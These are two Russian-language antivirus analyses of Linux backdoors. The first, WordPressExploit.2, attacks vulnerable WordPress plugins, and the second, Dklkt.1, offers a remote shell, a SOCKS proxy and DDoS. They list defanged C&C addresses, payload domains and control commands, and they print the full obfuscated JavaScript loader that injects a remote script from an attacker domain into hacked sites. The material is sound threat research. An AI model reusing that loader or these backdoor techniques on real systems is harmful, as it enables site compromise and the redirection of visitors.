Linux.BackDoor.WordPressExploit.2
Троянская программа, написанная на языке Go (Golang) и работающая в среде 32- и 64-битных операционных систем семейства Linux для x86-совместимых устройств. Представляет собой бэкдор, выполняющий команды злоумышленников. Основная функция этой программы — атака сайтов на базе CMS WordPress через эксплуатацию уязвимостей в устаревших версиях плагинов и тем оформления к этой платформе. В случае успеха в веб-страницы таких сайтов инжектируется вредоносный JavaScript, выполняющий переадресацию посетителей на другие ресурсы. Бэкдор является модификацией вредоносного приложения Linux.Backdoor.WordPressExploit.1 и отличается от него адресом управляющего сервера, адресом домена, с которого загружается вредоносный скрипт, а также дополненным списком эксплуатируемых уязвимостей.
Принцип действия
Linux.Backdoor.WordPressExploit.2 управляется через команды, которые принимает от расположенного по адресу 45[.]9.148[.]48 C&C-сервера. Доступные команды:
- — атака заданной веб-страницы (сайта);
- wait — переход в режим ожидания;
- letmestop — завершение работы трояна;
- dieforme77 — остановка ведения журнала выполненных действий.
В зависимости от модификации трояна вредоносные JavaScript-файлы для инжектирования загружаются с одного из следующих доменов:
- count[.]trackstatisticsss[.]com
- lobbydesires[.]com
- letsmakeparty3[.]ga
- deliverygoodstrategies[.]com
- clon[.]collectfasttracks[.]com
Рассматриваемый вариант Linux.Backdoor.WordPressExploit.2 использует домен count[.]trackstatisticsss[.]com .
Перед атакой заданного сайта бэкдор в тестовом режиме пытается атаковать сайт site[.]com , отправляя ему HTTP-запрос вида:
hxxp[:]//site[.]com/?action=um_fileupload&domain=test&name=test
Если в ответе в начале строки отсутствует значение s-1-s-2-s-3 , Linux.Backdoor.WordPressExploit.2 переходит к выполнению основной задачи. В противном случае он завершает свою работу.
Перед очередной атакой троян получает от C&C-сервера адрес целевого сайта, после чего пытается проэксплуатировать 28 известных уязвимостей в ряде плагинов и тем оформления WordPress. При этом для эксплуатации уязвимостей он запускает 250 отдельных процессов. Если какая-либо уязвимость не закрыта и атака прошла успешно, бэкдор информирует об этом C&C-сервер.
Плагины и темы оформления, к которым троян пытается применить уязвимости:
- WP Live Chat Support Plugin
- WordPress – Yuzo Related Posts
- Yellow Pencil Visual Theme Customizer Plugin
- Easysmtp
- WP GDPR Compliance Plugin
- Newspaper Theme on WordPress Access Control (уязвимость CVE-2016-10972);
- Thim Core
- Google Code Inserter
- Total Donations Plugin
- Post Custom Templates Lite
- WP Quick Booking Manager
- Faceboor Live Chat by Zotabox
- Blog Designer WordPress Plugin
- WordPress Ultimate FAQ (уязвимости CVE-2019-17232, CVE-2019-17233);
- WP-Matomo Integration (WP-Piwik)
- WordPress ND Shortcodes For Visual Composer
- WP Live Chat
- Coming Soon Page and Maintenance Mode
- Hybrid
- Brizy WordPress Plugin
- FV Flowplayer Video Player
- WooCommerce
- WordPress Coming Soon Page
- WordPress theme OneTone
- Simple Fields WordPress Plugin
- WordPress Delucks SEO plugin
- Poll, Survey, Form & Quiz Maker by OpinionStage
- Social Metrics Tracker
- WPeMatico RSS Feed Fetcher
- Rich Reviews plugin
Ниже представлены списки применяемых функций-эксплойтов:
Цель эксплуатации — выполнить инжект следующего вредоносного скрипта в уязвимый сайт:
var u = String.fromCharCode(104,116,116,112,115,58,47,47,99,111,117,110,116,46,116,114,97,99,107,115,116,97,116,105,115,116,105,99,115,115,115,46,99,111,109,47,106,46,106,115,63,118,61); // var d=document; var s=d.createElement(String.fromCharCode(115,99,114,105,112,116)); // script s.type=String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); // text/javascript var pl = u; s.src=pl; if (document.currentScript) < document.currentScript.parentNode.insertBefore(s, document.currentScript); >else < d.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(s); // head var list = document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116)); // script list.insertBefore(s, list.childNodes[0]); >
В свою очередь, функция данного скрипта — внедрить полученный с сайта hxxps[:]//count[.]trackstatisticsss[.]com скрипт j.js в атакуемую страницу. Инжект происходит таким образом, что при ее загрузке скрипт получает наивысший приоритет над остальными элементами страницы и загружается самым первым. После заражения страницы при клике мышью в любом ее месте пользователи будут перенаправлены на нужный злоумышленникам сайт.
В процессе работы Linux.Backdoor.WordPressExploit.2 ведет непрерывную статистику выполняемых действий. Бэкдор отслеживает:
- общее число атакованных сайтов;
- все случаи успешного применения эксплойтов;
- число успешных эксплуатаций уязвимостей в плагине WordPress Ultimate FAQ и Facebook-мессенджере от компании Zotabox.
Кроме того, он информирует C&C-сервер обо всех выявленных незакрытых уязвимостях.
Артефакты
Linux.Backdoor.WordPressExploit.2 содержит нереализованную функциональность для взлома учетных записей администраторов атакуемых веб-сайтов через подбор логинов и паролей по имеющимся словарям (метод грубой силы или брутфорс). Данная функция могла присутствовать в более ранних модификациях трояна или запланирована для его будущих версий.
Linux.BackDoor.Dklkt.1
Троянец-бэкдор для операционной системы Linux, по задумке авторов должен реализовывать довольно обширный набор функций: SOCKS proxy-сервера, remote shell, менеджера файловой системы, однако на текущий момент большая часть команд игнорируется. Внутреннее имя троянца — «DDoS Attacker for Gh0st(sweet version 1.0)».
Судя по отладочной информации, исходные компоненты бэкдора были созданы таким образом, чтобы исполняемый файл можно было собрать как для архитектуры Linux, так и для Windows. При запуске бэкдор проверяет наличие в папке, из которой он был запущен, конфигурационного файла, содержащего следующие параметры:
'remote_host' 'remote_port' 'remote_host2' 'remote_port2' 'remote_host3' 'remote_port3' 'ServiceDllName' 'm_enable_http' 'HttpAddress' 'szGroup' 'blDelMe' 'SelfDelete' 'Config' 'PassWord' 'Remark' 'Version'
где ‘Config’ – путь к конфигурационному файлу (в Linux) или к ветви системного реестра, где хранятся конфигурационные данные (в Windows). В конфигурационном файле задаются три адреса управляющих серверов бэкдора, однако используется им только один, в то время как два других являются резервными. Конфигурационный файл зашифрован с использованием алгоритма Base64. При запуске Linux.BackDoor.Dklkt.1 пытается зарегистрироваться на атакованном компьютере в качестве демона (системной службы), а если это не удается, бэкдор прекращает свою работу.
После запуска вредоносная программа формирует приветственный пакет с информацией о системе и параметрами бэкдора (все строки используют кодировку unicode) и передает его управляющему серверу:
|| *
MHz|Total:MB,Avail:MB|d
h m s|
||
ms|0|||||0|0|1|\x00
Параметры Remark, Group, Password, Version заимствуются из конфигурационного файла, последние три значения постоянны, остальные являются данными о зараженной системе. Трафик сжимается с использованием алгоритма LZO и шифруется алгоритмом Blowfish. Каждый пакет данных также снабжается контрольной суммой CRC32 для определения целостности полученной информации на принимающей стороне.
После отправки данного пакета троянец переходит в режим ожидания поступающих от удаленного управляющего сервера команд:
Команда | Комментарий |
---|---|
Приветственный пакет | Игнорируется |
Обновиться | Игнорируется |
Изменить группу | Изменяет значение параметра Group в конфигурационном файле на значение, пришедшее в команде |
Изменить remark | Изменяет значение параметра Remark в конфигурационном файле на значение, пришедшее в команде |
Открыть shell | Открывает командный интерпретатор и перенаправляет потоки ввода/вывода на управляющий сервер |
Открыть менеджер файловой системы | Игнорируется |
Открыть менеджер DDoS | Игнорируется |
Принять пользовательские данные | Игнорируется |
Самоудалиться | Игнорируется |
Разорвать связь с управляющим сервером | Игнорируется |
Выход | Выполняет команду system(«exit») |
Перезагрузка | Выполняет команду system(«reboot») |
Выключение компьютера | Выполняет команду system(«poweroff») |
Очистить лог событий | Игнорируется |
Начать DDoS-атаку | |
Запустить приложение | Приложение указывается в пришедшей команде |
Запустить proxy | Запускает на зараженной машине SOCKS proxy |
Троянец может выполнять следующие виды DDoS-атак:
- SYN Flood
- HTTP Flood (POST/GET запросы)
- Drv Flood (не реализовано)
- ICMP Flood
- TCP Flood
- UDP Flood